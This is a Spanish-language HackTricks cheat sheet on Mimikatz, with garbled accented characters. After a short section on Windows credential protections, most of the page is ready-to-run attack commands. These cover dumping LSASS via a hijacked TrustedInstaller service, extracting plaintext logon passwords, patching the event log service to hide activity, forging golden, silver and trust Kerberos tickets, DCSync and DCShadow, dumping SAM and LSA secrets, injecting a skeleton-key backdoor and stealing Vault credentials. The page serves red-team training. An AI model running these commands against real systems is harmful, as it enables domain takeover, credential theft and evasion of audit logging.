Mimikatz
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Esta p谩gina se basa en una de adsecurity.org. 隆Consulta el original para m谩s informaci贸n!
LM y texto claro en memoria
Desde Windows 8.1 y Windows Server 2012 R2 en adelante, se han implementado medidas significativas para proteger contra el robo de credenciales:
-
Los hashes LM y las contrase帽as en texto claro ya no se almacenan en memoria para mejorar la seguridad. Se debe configurar un ajuste espec铆fico del registro, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" con un valor DWORD de
0
para deshabilitar la Autenticaci贸n Digest, asegurando que las contrase帽as en "texto claro" no se almacenen en cach茅 en LSASS. -
La Protecci贸n LSA se introduce para proteger el proceso de la Autoridad de Seguridad Local (LSA) de la lectura no autorizada de memoria y la inyecci贸n de c贸digo. Esto se logra marcando el LSASS como un proceso protegido. La activaci贸n de la Protecci贸n LSA implica:
- Modificar el registro en HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa estableciendo
RunAsPPL
endword:00000001
. - Implementar un Objeto de Pol铆tica de Grupo (GPO) que haga cumplir este cambio de registro en los dispositivos gestionados.
A pesar de estas protecciones, herramientas como Mimikatz pueden eludir la Protecci贸n LSA utilizando controladores espec铆ficos, aunque tales acciones probablemente se registren en los registros de eventos.
Contrarrestar la eliminaci贸n de SeDebugPrivilege
Los administradores suelen tener SeDebugPrivilege, lo que les permite depurar programas. Este privilegio puede ser restringido para prevenir volcado de memoria no autorizado, una t茅cnica com煤n utilizada por los atacantes para extraer credenciales de la memoria. Sin embargo, incluso con este privilegio eliminado, la cuenta TrustedInstaller a煤n puede realizar volcado de memoria utilizando una configuraci贸n de servicio personalizada:
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
Esto permite volcar la memoria de lsass.exe
a un archivo, que luego puede ser analizado en otro sistema para extraer credenciales:
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
Opciones de Mimikatz
La manipulaci贸n de registros de eventos en Mimikatz implica dos acciones principales: borrar registros de eventos y parchear el servicio de eventos para evitar el registro de nuevos eventos. A continuaci贸n se presentan los comandos para realizar estas acciones:
Borrado de Registros de Eventos
- Comando: Esta acci贸n tiene como objetivo eliminar los registros de eventos, dificultando el seguimiento de actividades maliciosas.
- Mimikatz no proporciona un comando directo en su documentaci贸n est谩ndar para borrar registros de eventos directamente a trav茅s de su l铆nea de comandos. Sin embargo, la manipulaci贸n de registros de eventos generalmente implica el uso de herramientas del sistema o scripts fuera de Mimikatz para borrar registros espec铆ficos (por ejemplo, usando PowerShell o el Visor de Eventos de Windows).
Funci贸n Experimental: Parcheo del Servicio de Eventos
-
Comando:
event::drop
-
Este comando experimental est谩 dise帽ado para modificar el comportamiento del Servicio de Registro de Eventos, evitando efectivamente que registre nuevos eventos.
-
Ejemplo:
mimikatz "privilege::debug" "event::drop" exit
-
El comando
privilege::debug
asegura que Mimikatz opere con los privilegios necesarios para modificar servicios del sistema. -
El comando
event::drop
luego parchea el servicio de Registro de Eventos.
Ataques de Tickets de Kerberos
Creaci贸n de Golden Ticket
Un Golden Ticket permite la suplantaci贸n de acceso a nivel de dominio. Comando clave y par谩metros:
- Comando:
kerberos::golden
- Par谩metros:
/domain
: El nombre del dominio./sid
: El Identificador de Seguridad (SID) del dominio./user
: El nombre de usuario a suplantar./krbtgt
: El hash NTLM de la cuenta de servicio KDC del dominio./ptt
: Inyecta directamente el ticket en la memoria./ticket
: Guarda el ticket para su uso posterior.
Ejemplo:
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
Creaci贸n de Silver Ticket
Los Silver Tickets otorgan acceso a servicios espec铆ficos. Comando clave y par谩metros:
- Comando: Similar al Golden Ticket pero se dirige a servicios espec铆ficos.
- Par谩metros:
/service
: El servicio a dirigir (por ejemplo, cifs, http).- Otros par谩metros similares al Golden Ticket.
Ejemplo:
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
Creaci贸n de Tickets de Confianza
Los Tickets de Confianza se utilizan para acceder a recursos a trav茅s de dominios aprovechando las relaciones de confianza. Comando clave y par谩metros:
- Comando: Similar al Golden Ticket pero para relaciones de confianza.
- Par谩metros:
/target
: El FQDN del dominio objetivo./rc4
: El hash NTLM para la cuenta de confianza.
Ejemplo:
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
Comandos Adicionales de Kerberos
-
Listar Tickets:
-
Comando:
kerberos::list
-
Lista todos los tickets de Kerberos para la sesi贸n actual del usuario.
-
Pasar la Cach茅:
-
Comando:
kerberos::ptc
-
Inyecta tickets de Kerberos desde archivos de cach茅.
-
Ejemplo:
mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
-
Pasar el Ticket:
-
Comando:
kerberos::ptt
-
Permite usar un ticket de Kerberos en otra sesi贸n.
-
Ejemplo:
mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
-
Purgar Tickets:
-
Comando:
kerberos::purge
-
Limpia todos los tickets de Kerberos de la sesi贸n.
-
脷til antes de usar comandos de manipulaci贸n de tickets para evitar conflictos.
Manipulaci贸n de Active Directory
-
DCShadow: Hacer que una m谩quina act煤e temporalmente como un DC para la manipulaci贸n de objetos de AD.
-
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
-
DCSync: Imitar un DC para solicitar datos de contrase帽as.
-
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
Acceso a Credenciales
-
LSADUMP::LSA: Extraer credenciales de LSA.
-
mimikatz "lsadump::lsa /inject" exit
-
LSADUMP::NetSync: Suplantar un DC usando los datos de contrase帽a de una cuenta de computadora.
-
No se proporcion贸 un comando espec铆fico para NetSync en el contexto original.
-
LSADUMP::SAM: Acceder a la base de datos SAM local.
-
mimikatz "lsadump::sam" exit
-
LSADUMP::Secrets: Desencriptar secretos almacenados en el registro.
-
mimikatz "lsadump::secrets" exit
-
LSADUMP::SetNTLM: Establecer un nuevo hash NTLM para un usuario.
-
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
-
LSADUMP::Trust: Recuperar informaci贸n de autenticaci贸n de confianza.
-
mimikatz "lsadump::trust" exit
Varios
- MISC::Skeleton: Inyectar un backdoor en LSASS en un DC.
mimikatz "privilege::debug" "misc::skeleton" exit
Escalaci贸n de Privilegios
-
PRIVILEGE::Backup: Adquirir derechos de respaldo.
-
mimikatz "privilege::backup" exit
-
PRIVILEGE::Debug: Obtener privilegios de depuraci贸n.
-
mimikatz "privilege::debug" exit
Volcado de Credenciales
-
SEKURLSA::LogonPasswords: Mostrar credenciales de usuarios conectados.
-
mimikatz "sekurlsa::logonpasswords" exit
-
SEKURLSA::Tickets: Extraer tickets de Kerberos de la memoria.
-
mimikatz "sekurlsa::tickets /export" exit
Manipulaci贸n de SID y Token
-
SID::add/modify: Cambiar SID y SIDHistory.
-
Agregar:
mimikatz "sid::add /user:targetUser /sid:newSid" exit
-
Modificar: No se proporcion贸 un comando espec铆fico para modificar en el contexto original.
-
TOKEN::Elevate: Suplantar tokens.
-
mimikatz "token::elevate /domainadmin" exit
Servicios de Terminal
-
TS::MultiRDP: Permitir m煤ltiples sesiones RDP.
-
mimikatz "ts::multirdp" exit
-
TS::Sessions: Listar sesiones TS/RDP.
-
No se proporcion贸 un comando espec铆fico para TS::Sessions en el contexto original.
B贸veda
- Extraer contrase帽as de Windows Vault.
mimikatz "vault::cred /patch" exit
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.